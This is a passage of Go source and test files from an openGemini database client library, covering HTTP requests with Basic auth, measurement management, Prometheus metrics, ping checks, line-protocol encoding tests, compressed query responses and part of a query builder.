48 | encodeString := c.config.AuthConfig.Username + ":" + c.config.AuthConfig.Password
49 | authorization := "Basic " + base64.StdEncoding.EncodeToString([]byte(encodeString))
50 | header.Set("Authorization", authorization)
51 | }
52 |
53 | return header
54 | }
55 |
56 | func (c *client) executeHttpRequestByIdxWithContext(ctx context.Context, idx int, method, urlPath string, details requestDetails) (*http.Response, error) {
57 | if idx >= len(c.endpoints) || idx < 0 {
58 | return nil, errors.New("index out of range")
59 | }
60 | return c.executeHttpRequestInner(ctx, method, c.endpoints[idx].url, urlPath, details)
61 | }
62 |
63 | func (c *client) executeHttpGet(urlPath string, details requestDetails) (*http.Response, error) {
64 | return c.executeHttpRequest(http.MethodGet, urlPath, details)
65 | }
66 |
67 | func (c *client) executeHttpPost(urlPath string, details requestDetails) (*http.Response, error) {
68 | return c.executeHttpRequest(http.MethodPost, urlPath, details)
69 | }
70 |
71 | func (c *client) executeHttpRequest(method, urlPath string, details requestDetails) (*http.Response, error) {
72 | serverUrl := c.getServerUrl()
73 | return c.executeHttpRequestInner(context.TODO(), method, serverUrl, urlPath, details)
74 | }
75 |
76 | func (c *client) executeHttpRequestWithContext(ctx context.Context, method, urlPath string, details requestDetails) (*http.Response, error) {
77 | serverUrl := c.getServerUrl()
78 | return c.executeHttpRequestInner(ctx, method, serverUrl, urlPath, details)
79 | }
80 |
81 | // executeHttpRequestInner executes an HTTP request with the given method, server URL, URL path, and request details.
82 | //
83 | // Parameters:
84 | // - ctx: The context.Context to associate with the request, if ctx is nil, request is created without a context.
85 | // - method: The HTTP method to use for the request.
86 | // - serverUrl: The server URL to use for the request.
87 | // - urlPath: The URL path to use for the request.
88 | // - details: The request details to use for the request.
89 | //
90 | // Returns:
91 | // - *http.Response: The HTTP response from the request.
92 | // - error: An error that occurred during the request.
93 | func (c *client) executeHttpRequestInner(ctx context.Context, method, serverUrl, urlPath string, details requestDetails) (*http.Response, error) {
94 | details.header = c.updateAuthHeader(method, urlPath, details.header)
95 | fullUrl := serverUrl + urlPath
96 | u, err := url.Parse(fullUrl)
97 | if err != nil {
98 | return nil, err
99 | }
100 |
101 | if details.queryValues != nil {
102 | u.RawQuery = details.queryValues.Encode()
103 | }
104 |
105 | var request *http.Request
106 |
107 | if ctx == nil {
108 | request, err = http.NewRequest(method, u.String(), details.body)
109 | if err != nil {
110 | return nil, err
111 | }
112 | } else {
113 | request, err = http.NewRequestWithContext(ctx, method, u.String(), details.body)
114 | if err != nil {
115 | return nil, err
116 | }
117 | }
118 |
119 | for k, values := range details.header {
120 | for _, v := range values {
121 | request.Header.Add(k, v)
122 | }
123 | }
124 |
125 | return c.cli.Do(request)
126 | }
127 |
--------------------------------------------------------------------------------
/opengemini/http_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "net/http"
19 | "testing"
20 |
21 | "github.com/stretchr/testify/require"
22 | )
23 |
24 | func TestSetAuthorization(t *testing.T) {
25 | c := client{
26 | config: &Config{
27 | AuthConfig: &AuthConfig{
28 | AuthType: AuthTypePassword,
29 | Username: "test",
30 | Password: "test pwd",
31 | },
32 | },
33 | }
34 |
35 | header := c.updateAuthHeader(http.MethodGet, UrlPing, nil)
36 | require.Equal(t, "", header.Get("Authorization"))
37 |
38 | header = c.updateAuthHeader(http.MethodOptions, UrlQuery, nil)
39 | require.Equal(t, "", header.Get("Authorization"))
40 |
41 | header = c.updateAuthHeader(http.MethodGet, UrlQuery, nil)
42 | require.Equal(t, "Basic dGVzdDp0ZXN0IHB3ZA==", header.Get("Authorization"))
43 | }
44 |
--------------------------------------------------------------------------------
/opengemini/measurement.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "errors"
19 | "fmt"
20 | "io"
21 | "net/http"
22 | "net/url"
23 | )
24 |
25 | type ValuesResult struct {
26 | Measurement string
27 | Values []interface{}
28 | }
29 |
30 | func (c *client) ShowMeasurements(builder ShowMeasurementBuilder) ([]string, error) {
31 | base := builder.getMeasurementBase()
32 | err := checkDatabaseName(base.database)
33 | if err != nil {
34 | return nil, err
35 | }
36 |
37 | command, err := builder.build()
38 | if err != nil {
39 | return nil, err
40 | }
41 |
42 | queryResult, err := c.queryPost(Query{
43 | Database: base.database,
44 | RetentionPolicy: base.retentionPolicy,
45 | Command: command,
46 | })
47 |
48 | if err != nil {
49 | return nil, err
50 | }
51 |
52 | err = queryResult.hasError()
53 | if err != nil {
54 | return nil, fmt.Errorf("show measurements err: %s", err)
55 | }
56 |
57 | return queryResult.convertMeasurements(), nil
58 | }
59 |
60 | func (c *client) DropMeasurement(database, retentionPolicy, measurement string) error {
61 | err := checkDatabaseName(database)
62 | if err != nil {
63 | return err
64 | }
65 | if err = checkMeasurementName(measurement); err != nil {
66 | return err
67 | }
68 |
69 | req := requestDetails{
70 | queryValues: make(url.Values),
71 | }
72 | req.queryValues.Add("db", database)
73 | req.queryValues.Add("rp", retentionPolicy)
74 | req.queryValues.Add("q", `DROP MEASUREMENT "`+measurement+`"`)
75 | resp, err := c.executeHttpPost("/query", req)
76 | if err != nil {
77 | return err
78 | }
79 | defer resp.Body.Close()
80 | body, err := io.ReadAll(resp.Body)
81 | if err != nil {
82 | return errors.New("read resp failed, error: " + err.Error())
83 | }
84 | if resp.StatusCode != http.StatusOK {
85 | return errors.New("error resp, code: " + resp.Status + "body: " + string(body))
86 | }
87 | return nil
88 | }
89 |
90 | func (c *client) CreateMeasurement(builder CreateMeasurementBuilder) error {
91 | base := builder.getMeasurementBase()
92 | err := checkDatabaseName(base.database)
93 | if err != nil {
94 | return err
95 | }
96 |
97 | command, err := builder.build()
98 | if err != nil {
99 | return err
100 | }
101 | req := requestDetails{
102 | queryValues: make(url.Values),
103 | }
104 | req.queryValues.Add("db", base.database)
105 | req.queryValues.Add("rp", base.retentionPolicy)
106 | req.queryValues.Add("q", command)
107 | resp, err := c.executeHttpPost("/query", req)
108 | if err != nil {
109 | return err
110 | }
111 | defer resp.Body.Close()
112 | body, err := io.ReadAll(resp.Body)
113 | if err != nil {
114 | return errors.New("read resp failed, error: " + err.Error())
115 | }
116 | if resp.StatusCode != http.StatusOK {
117 | return errors.New("error resp, code: " + resp.Status + "body: " + string(body))
118 | }
119 | return nil
120 | }
121 |
--------------------------------------------------------------------------------
/opengemini/metrics.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import "github.com/prometheus/client_golang/prometheus"
18 |
19 | const (
20 | MetricsNamespace = "opengemini"
21 | MetricsSubsystem = "client"
22 | )
23 |
24 | var _ prometheus.Collector = (*metrics)(nil)
25 |
26 | // metrics custom indicators, implementing the prometheus.Collector interface
27 | type metrics struct {
28 | // queryCounter count all queries
29 | queryCounter prometheus.Counter
30 | // writeCounter count all write requests
31 | writeCounter prometheus.Counter
32 | // queryLatency calculate the average of the queries, unit milliseconds
33 | queryLatency prometheus.Summary
34 | // writeLatency calculate the average of the writes, unit milliseconds
35 | writeLatency prometheus.Summary
36 | // queryDatabaseCounter count queries and classify using measurement
37 | queryDatabaseCounter *prometheus.CounterVec
38 | // writeDatabaseCounter count write requests and classify using measurement
39 | writeDatabaseCounter *prometheus.CounterVec
40 | // queryDatabaseLatency calculate the average of the queries for database, unit milliseconds
41 | queryDatabaseLatency *prometheus.SummaryVec
42 | // writeDatabaseLatency calculate the average of the writes for database, unit milliseconds
43 | writeDatabaseLatency *prometheus.SummaryVec
44 | }
45 |
46 | func (m *metrics) Describe(chan<- *prometheus.Desc) {}
47 |
48 | func (m *metrics) Collect(ch chan<- prometheus.Metric) {
49 | ch <- m.queryCounter
50 | ch <- m.writeCounter
51 | ch <- m.queryLatency
52 | ch <- m.writeLatency
53 | m.queryDatabaseCounter.Collect(ch)
54 | m.writeDatabaseCounter.Collect(ch)
55 | m.queryDatabaseLatency.Collect(ch)
56 | m.writeDatabaseLatency.Collect(ch)
57 | }
58 |
59 | // newMetricsProvider returns metrics registered to registerer.
60 | func newMetricsProvider(customLabels map[string]string) *metrics {
61 | constLabels := map[string]string{
62 | "client": "go", // distinguish from other language client
63 | }
64 | for k, v := range customLabels {
65 | constLabels[k] = v
66 | }
67 |
68 | constQuantiles := map[float64]float64{0.5: 0.05, 0.9: 0.01, 0.99: 0.001}
69 | labelNames := []string{"database"}
70 |
71 | m := &metrics{
72 | queryCounter: prometheus.NewCounter(prometheus.CounterOpts{
73 | Namespace: MetricsNamespace,
74 | Subsystem: MetricsSubsystem,
75 | Name: "query_total",
76 | Help: "Count of opengemini queries",
77 | ConstLabels: constLabels,
78 | }),
79 | writeCounter: prometheus.NewCounter(prometheus.CounterOpts{
80 | Namespace: MetricsNamespace,
81 | Subsystem: MetricsSubsystem,
82 | Name: "write_total",
83 | Help: "Count of opengemini writes",
84 | ConstLabels: constLabels,
85 | }),
86 | queryLatency: prometheus.NewSummary(prometheus.SummaryOpts{
87 | Namespace: MetricsNamespace,
88 | Subsystem: MetricsSubsystem,
89 | Name: "query_latency",
90 | Help: "Calculate the average of the queries",
91 | ConstLabels: constLabels,
92 | Objectives: constQuantiles,
93 | }),
94 | writeLatency: prometheus.NewSummary(prometheus.SummaryOpts{
95 | Namespace: MetricsNamespace,
96 | Subsystem: MetricsSubsystem,
97 | Name: "write_latency",
98 | Help: "Calculate the average of the writes",
99 | ConstLabels: constLabels,
100 | Objectives: constQuantiles,
101 | }),
102 | queryDatabaseCounter: prometheus.NewCounterVec(prometheus.CounterOpts{
103 | Namespace: MetricsNamespace,
104 | Subsystem: MetricsSubsystem,
105 | Name: "query_database_total",
106 | Help: "Count of opengemini queries and classify using measurement",
107 | ConstLabels: constLabels,
108 | }, labelNames),
109 | writeDatabaseCounter: prometheus.NewCounterVec(prometheus.CounterOpts{
110 | Namespace: MetricsNamespace,
111 | Subsystem: MetricsSubsystem,
112 | Name: "write_database_total",
113 | Help: "Count of opengemini writes and classify using measurement",
114 | ConstLabels: constLabels,
115 | }, labelNames),
116 | queryDatabaseLatency: prometheus.NewSummaryVec(prometheus.SummaryOpts{
117 | Namespace: MetricsNamespace,
118 | Subsystem: MetricsSubsystem,
119 | Name: "query_database_latency",
120 | Help: "Calculate the average of the queries for database",
121 | ConstLabels: constLabels,
122 | Objectives: constQuantiles,
123 | }, labelNames),
124 | writeDatabaseLatency: prometheus.NewSummaryVec(prometheus.SummaryOpts{
125 | Namespace: MetricsNamespace,
126 | Subsystem: MetricsSubsystem,
127 | Name: "write_database_latency",
128 | Help: "Calculate the average of the writes for database",
129 | ConstLabels: constLabels,
130 | Objectives: constQuantiles,
131 | }, labelNames),
132 | }
133 |
134 | return m
135 | }
136 |
137 | // ExposeMetrics expose prometheus metrics
138 | func (c *client) ExposeMetrics() prometheus.Collector {
139 | return c.metrics
140 | }
141 |
--------------------------------------------------------------------------------
/opengemini/ping.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "context"
19 | "errors"
20 | "io"
21 | "net/http"
22 | )
23 |
24 | // Ping check that status of cluster.
25 | func (c *client) Ping(idx int) error {
26 | return c.ping(context.TODO(), idx)
27 | }
28 |
29 | func (c *client) ping(ctx context.Context, idx int) error {
30 | resp, err := c.executeHttpRequestByIdxWithContext(ctx, idx, http.MethodGet, UrlPing, requestDetails{})
31 | if err != nil {
32 | return errors.New("ping request failed, error: " + err.Error())
33 | }
34 |
35 | defer resp.Body.Close()
36 |
37 | if resp.StatusCode != http.StatusNoContent {
38 | body, err := io.ReadAll(resp.Body)
39 | if err != nil {
40 | return errors.New("read ping resp failed, error: " + err.Error())
41 | }
42 | return errors.New("ping error resp, code: " + resp.Status + "body: " + string(body))
43 | }
44 | return nil
45 | }
46 |
--------------------------------------------------------------------------------
/opengemini/ping_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "testing"
19 |
20 | "github.com/stretchr/testify/require"
21 | )
22 |
23 | func TestPingSuccess(t *testing.T) {
24 | c := testDefaultClient(t)
25 |
26 | err := c.Ping(0)
27 | require.Nil(t, err)
28 | }
29 |
30 | func TestPingFailForInaccessibleAddress(t *testing.T) {
31 | c := testNewClient(t, &Config{
32 | Addresses: []Address{{
33 | Host: "localhost",
34 | Port: 8086,
35 | }, {
36 | Host: "localhost",
37 | Port: 8087,
38 | }},
39 | })
40 |
41 | err := c.Ping(1)
42 | require.NotNil(t, err)
43 | }
44 |
45 | func TestPingFailForOutOfRangeIndex(t *testing.T) {
46 | c := testDefaultClient(t)
47 |
48 | err := c.Ping(1)
49 | require.NotNil(t, err)
50 | err = c.Ping(-1)
51 | require.NotNil(t, err)
52 | }
53 |
--------------------------------------------------------------------------------
/opengemini/point_test.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "bytes"
19 | "strings"
20 | "testing"
21 | "time"
22 |
23 | "github.com/stretchr/testify/assert"
24 | )
25 |
26 | func TestPointToString(t *testing.T) {
27 | // line protocol without escaped chars
28 | assert.Equal(t, "test,T0=0 a=1i", encodePoint(assemblePoint("test", "T0", "0", "a", 1)))
29 |
30 | // line protocol measurement with escaped chars
31 | assert.Equal(t, "test\\,,T0=0 a=1i", encodePoint(assemblePoint("test,", "T0", "0", "a", 1)))
32 | assert.Equal(t, "test\\ ,T0=0 a=1i", encodePoint(assemblePoint("test ", "T0", "0", "a", 1)))
33 |
34 | // line protocol tag key with escaped chars
35 | assert.Equal(t, "test,T0\\,=0 a=1i", encodePoint(assemblePoint("test", "T0,", "0", "a", 1)))
36 | assert.Equal(t, "test,T0\\==0 a=1i", encodePoint(assemblePoint("test", "T0=", "0", "a", 1)))
37 | assert.Equal(t, "test,T0\\ =0 a=1i", encodePoint(assemblePoint("test", "T0 ", "0", "a", 1)))
38 |
39 | // line protocol tag value with escaped chars
40 | assert.Equal(t, "test,T0=0\\, a=1i", encodePoint(assemblePoint("test", "T0", "0,", "a", 1)))
41 | assert.Equal(t, "test,T0=0\\= a=1i", encodePoint(assemblePoint("test", "T0", "0=", "a", 1)))
42 | assert.Equal(t, "test,T0=0\\ a=1i", encodePoint(assemblePoint("test", "T0", "0 ", "a", 1)))
43 |
44 | // line protocol field key with escaped chars
45 | assert.Equal(t, "test,T0=0 a\\,=1i", encodePoint(assemblePoint("test", "T0", "0", "a,", 1)))
46 | assert.Equal(t, "test,T0=0 a\\==1i", encodePoint(assemblePoint("test", "T0", "0", "a=", 1)))
47 | assert.Equal(t, "test,T0=0 a\\ =1i", encodePoint(assemblePoint("test", "T0", "0", "a ", 1)))
48 |
49 | // line protocol field value with escaped chars
50 | assert.Equal(t, "test,T0=0 a=\"1\\\"\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\"")))
51 | assert.Equal(t, "test,T0=0 a=\"1\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\")))
52 | assert.Equal(t, "test,T0=0 a=\"1\\\\\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\\\")))
53 | assert.Equal(t, "test,T0=0 a=\"1\\\\\\\\\\\\\"", encodePoint(assemblePoint("test", "T0", "0", "a", "1\\\\\\")))
54 |
55 | }
56 |
57 | func assemblePoint(measurement, tagKey, tagValue, fieldKey string, filedValue interface{}) *Point {
58 | point := &Point{Measurement: measurement}
59 | point.AddTag(tagKey, tagValue)
60 | point.AddField(fieldKey, filedValue)
61 | return point
62 | }
63 |
64 | func encodePoint(p *Point) string {
65 | var buf bytes.Buffer
66 | enc := NewLineProtocolEncoder(&buf)
67 | _ = enc.Encode(p)
68 | return buf.String()
69 | }
70 |
71 | func TestPointEncode(t *testing.T) {
72 | point := &Point{}
73 | // encode Point which hasn't set measurement
74 | if strings.Compare(encodePoint(point), "") != 0 {
75 | t.Error("error translate for point hasn't set measurement")
76 | }
77 | point.Measurement = "measurement"
78 | // encode Point which hasn't own field
79 | if strings.Compare(encodePoint(point), "") != 0 {
80 | t.Error("error translate for point hasn't own field")
81 | }
82 | point.AddField("filed1", "string field")
83 | // encode Point which only has a field
84 | if strings.Compare(encodePoint(point),
85 | "measurement filed1=\"string field\"") != 0 {
86 | t.Error("parse point with a string filed failed")
87 | }
88 | point.AddTag("tag", "tag1")
89 | // encode Point which has a field with a tag
90 | if strings.Compare(encodePoint(point),
91 | "measurement,tag=tag1 filed1=\"string field\"") != 0 {
92 | t.Error("parse point with a tag failed")
93 | }
94 | point.Timestamp = time.Date(2023, 12, 1, 12, 32, 18, 132363612, time.UTC).UnixNano()
95 | if strings.Compare(encodePoint(point),
96 | "measurement,tag=tag1 filed1=\"string field\" 1701433938132363612") != 0 {
97 | t.Error("parse point with a tag failed")
98 | }
99 | }
100 |
--------------------------------------------------------------------------------
/opengemini/query.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "encoding/json"
19 | "errors"
20 | "fmt"
21 | "io"
22 | "net/http"
23 | "time"
24 |
25 | "github.com/vmihailenco/msgpack/v5"
26 |
27 | compressionPool "github.com/sourgoodie/opengemini-client-go/lib/pool"
28 | )
29 |
30 | const (
31 | HttpContentTypeMsgpack = "application/x-msgpack"
32 | HttpContentTypeJSON = "application/json"
33 | HttpEncodingGzip = "gzip"
34 | HttpEncodingZstd = "zstd"
35 | HttpEncodingSnappy = "snappy"
36 | )
37 |
38 | type Query struct {
39 | Database string
40 | Command string
41 | RetentionPolicy string
42 | Precision Precision
43 | }
44 |
45 | // Query sends a command to the server
46 | func (c *client) Query(q Query) (*QueryResult, error) {
47 | if err := checkCommand(q.Command); err != nil {
48 | return nil, err
49 | }
50 |
51 | req := buildRequestDetails(c.config, func(req *requestDetails) {
52 | req.queryValues.Add("db", q.Database)
53 | req.queryValues.Add("q", q.Command)
54 | req.queryValues.Add("rp", q.RetentionPolicy)
55 | req.queryValues.Add("epoch", q.Precision.Epoch())
56 | })
57 |
58 | // metric
59 | c.metrics.queryCounter.Add(1)
60 | c.metrics.queryDatabaseCounter.WithLabelValues(q.Database).Add(1)
61 | startAt := time.Now()
62 |
63 | resp, err := c.executeHttpGet(UrlQuery, req)
64 |
65 | cost := float64(time.Since(startAt).Milliseconds())
66 | c.metrics.queryLatency.Observe(cost)
67 | c.metrics.queryDatabaseLatency.WithLabelValues(q.Database).Observe(cost)
68 |
69 | if err != nil {
70 | return nil, errors.New("query request failed, error: " + err.Error())
71 | }
72 | qr, err := retrieveQueryResFromResp(resp)
73 | if err != nil {
74 | return nil, err
75 | }
76 | return qr, nil
77 | }
78 |
79 | func (c *client) queryPost(q Query) (*QueryResult, error) {
80 | req := buildRequestDetails(c.config, func(req *requestDetails) {
81 | req.queryValues.Add("db", q.Database)
82 | req.queryValues.Add("q", q.Command)
83 | })
84 |
85 | resp, err := c.executeHttpPost(UrlQuery, req)
86 | if err != nil {
87 | return nil, errors.New("request failed, error: " + err.Error())
88 | }
89 | qr, err := retrieveQueryResFromResp(resp)
90 | if err != nil {
91 | return nil, err
92 | }
93 | return qr, nil
94 | }
95 |
96 | func buildRequestDetails(c *Config, requestModifier func(*requestDetails)) requestDetails {
97 | req := requestDetails{
98 | queryValues: make(map[string][]string),
99 | }
100 |
101 | applyCodec(&req, c)
102 |
103 | if requestModifier != nil {
104 | requestModifier(&req)
105 | }
106 |
107 | return req
108 | }
109 |
110 | func applyCodec(req *requestDetails, config *Config) {
111 | if req.header == nil {
112 | req.header = make(http.Header)
113 | }
114 |
115 | switch config.ContentType {
116 | case ContentTypeMsgPack:
117 | req.header.Set("Accept", HttpContentTypeMsgpack)
118 | case ContentTypeJSON:
119 | req.header.Set("Accept", HttpContentTypeJSON)
120 | }
121 |
122 | switch config.CompressMethod {
123 | case CompressMethodGzip:
124 | req.header.Set("Accept-Encoding", HttpEncodingGzip)
125 | case CompressMethodZstd:
126 | req.header.Set("Accept-Encoding", HttpEncodingZstd)
127 | case CompressMethodSnappy:
128 | req.header.Set("Accept-Encoding", HttpEncodingSnappy)
129 | }
130 |
131 | }
132 |
133 | // retrieve query result from the response
134 | func retrieveQueryResFromResp(resp *http.Response) (*QueryResult, error) {
135 | defer resp.Body.Close()
136 | body, err := io.ReadAll(resp.Body)
137 | if err != nil {
138 | return nil, errors.New("read resp failed, error: " + err.Error())
139 | }
140 | if resp.StatusCode != http.StatusOK {
141 | return nil, errors.New("error resp, code: " + resp.Status + "body: " + string(body))
142 | }
143 | contentType := resp.Header.Get("Content-Type")
144 | contentEncoding := resp.Header.Get("Content-Encoding")
145 | var qr = new(QueryResult)
146 |
147 | // handle decompression first
148 | decompressedBody, err := decompressBody(contentEncoding, body)
149 | if err != nil {
150 | return qr, err
151 | }
152 |
153 | // then handle deserialization based on content type
154 | err = deserializeBody(contentType, decompressedBody, qr)
155 | if err != nil {
156 | return qr, err
157 | }
158 |
159 | return qr, nil
160 | }
161 |
162 | func decompressBody(encoding string, body []byte) ([]byte, error) {
163 | switch encoding {
164 | case HttpEncodingZstd:
165 | return decodeZstdBody(body)
166 | case HttpEncodingGzip:
167 | return decodeGzipBody(body)
168 | case HttpEncodingSnappy:
169 | return decodeSnappyBody(body)
170 | default:
171 | return body, nil
172 | }
173 | }
174 |
175 | func decodeGzipBody(body []byte) ([]byte, error) {
176 | decoder, err := compressionPool.GetGzipReader(body)
177 | if err != nil {
178 | return nil, errors.New("failed to create gzip decoder: " + err.Error())
179 | }
180 | defer compressionPool.PutGzipReader(decoder)
181 |
182 | decompressedBody, err := io.ReadAll(decoder)
183 | if err != nil {
184 | return nil, errors.New("failed to decompress gzip body: " + err.Error())
185 | }
186 |
187 | return decompressedBody, nil
188 | }
189 |
190 | func decodeZstdBody(compressedBody []byte) ([]byte, error) {
191 | decoder, err := compressionPool.GetZstdDecoder(compressedBody)
192 | if err != nil {
193 | return nil, errors.New("failed to create zstd decoder: " + err.Error())
194 | }
195 | defer compressionPool.PutZstdDecoder(decoder)
196 |
197 | decompressedBody, err := decoder.DecodeAll(compressedBody, nil)
198 | if err != nil {
199 | return nil, errors.New("failed to decompress zstd body: " + err.Error())
200 | }
201 |
202 | return decompressedBody, nil
203 | }
204 |
205 | func decodeSnappyBody(compressedBody []byte) ([]byte, error) {
206 | reader, err := compressionPool.GetSnappyReader(compressedBody)
207 | if err != nil {
208 | return nil, errors.New("failed to create snappy reader: " + err.Error())
209 | }
210 | defer compressionPool.PutSnappyReader(reader)
211 | decompressedBody, err := io.ReadAll(reader)
212 | if err != nil {
213 | return nil, errors.New("failed to decompress snappy body: " + err.Error())
214 | }
215 | return decompressedBody, nil
216 | }
217 |
218 | func deserializeBody(contentType string, body []byte, qr *QueryResult) error {
219 | switch contentType {
220 | case HttpContentTypeMsgpack:
221 | return unmarshalMsgpack(body, qr)
222 | case HttpContentTypeJSON:
223 | return unmarshalJson(body, qr)
224 | default:
225 | return fmt.Errorf("unsupported content type: %s", contentType)
226 | }
227 | }
228 |
229 | func unmarshalMsgpack(body []byte, qr *QueryResult) error {
230 | err := msgpack.Unmarshal(body, qr)
231 | if err != nil {
232 | return errors.New("unmarshal msgpack body failed, error: " + err.Error())
233 | }
234 | return nil
235 | }
236 |
237 | func unmarshalJson(body []byte, qr *QueryResult) error {
238 | err := json.Unmarshal(body, qr)
239 | if err != nil {
240 | return errors.New("unmarshal json body failed, error: " + err.Error())
241 | }
242 | return nil
243 | }
244 |
--------------------------------------------------------------------------------
/opengemini/query_builder.go:
--------------------------------------------------------------------------------
1 | // Copyright 2024 openGemini Authors
2 | //
3 | // Licensed under the Apache License, Version 2.0 (the "License");
4 | // you may not use this file except in compliance with the License.
5 | // You may obtain a copy of the License at
6 | //
7 | // http://www.apache.org/licenses/LICENSE-2.0
8 | //
9 | // Unless required by applicable law or agreed to in writing, software
10 | // distributed under the License is distributed on an "AS IS" BASIS,
11 | // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
12 | // See the License for the specific language governing permissions and
13 | // limitations under the License.
14 |
15 | package opengemini
16 |
17 | import (
18 | "fmt"
19 | "strings"
20 | "time"
21 | )
22 |
23 | type QueryBuilder struct {
24 | selectExprs []Expression
25 | from []string
26 | where Condition
27 | groupBy []Expression
28 | order SortOrder
29 | limit int64
30 | offset int64
31 | timezone *time.Location
32 | }
33 |
34 | func CreateQueryBuilder() *QueryBuilder {
35 | return &QueryBuilder{}
36 | }
37 |
38 | func (q *QueryBuilder) Select(selectExpressions ...Expression) *QueryBuilder {
39 | q.selectExprs = selectExpressions
40 | return q
41 | }
42 |
43 | func (q *QueryBuilder) From(tables ...string) *QueryBuilder {
44 | q.from = tables
45 | return q
46 | }
47 |
48 | func (q *QueryBuilder) Where(condition Condition) *QueryBuilder {
49 | q.where = condition
50 | return q
51 | }
52 |
53 | func (q *QueryBuilder) GroupBy(groupByExpressions ...Expression) *QueryBuilder {
54 | q.groupBy = groupByExpressions
55 | return q
56 | }
57 |
58 | func (q *QueryBuilder) OrderBy(order SortOrder) *QueryBuilder {
59 | q.order = order
60 | return q
61 | }
62 |
63 | func (q *QueryBuilder) Limit(limit int64) *QueryBuilder {
64 | q.limit = limit
65 | return q
66 | }
67 |
68 | func (q *QueryBuilder) Offset(offset int64) *QueryBuilder {
69 | q.offset = offset
70 | return q
71 | }
72 |
73 | func (q *QueryBuilder) Timezone(location *time.Location) *QueryBuilder {
74 | q.timezone = location
75 | return q
76 | }
77 |
78 | func (q *QueryBuilder) Build() *Query {
79 | var commandBuilder strings.Builder
80 |
81 | // Build the SELECT part
82 | if len(q.selectExprs) > 0 {
83 | commandBuilder.WriteString("SELECT ")
84 | for i, expr := range q.selectExprs {
85 | if i > 0 {
86 | commandBuilder.WriteString(", ")
87 | }
88 | commandBuilder.WriteString(expr.build())
89 | }
90 | } else {
91 | commandBuilder.WriteString("SELECT *")
92 | }
93 |
94 | // Build the FROM part
95 | if len(q.from) > 0 {
96 | commandBuilder.WriteString(" FROM ")
97 | quotedTables := make([]string, len(q.from))
98 | for i, table := range q.from {
99 | quotedTables[i] = `"` + table + `"`
100 | }
101 | commandBuilder.WriteString(strings.Join(quotedTables, ", "))
102 | }
103 |
104 | // Build the WHERE part
105 | if q.where != nil {
106 | commandBuilder.WriteString(" WHERE ")
107 | commandBuilder.WriteString(q.where.build())
108 | }
109 |
110 | // Build the GROUP BY part
111 | if len(q.groupBy) > 0 {
112 | commandBuilder.WriteString(" GROUP BY ")
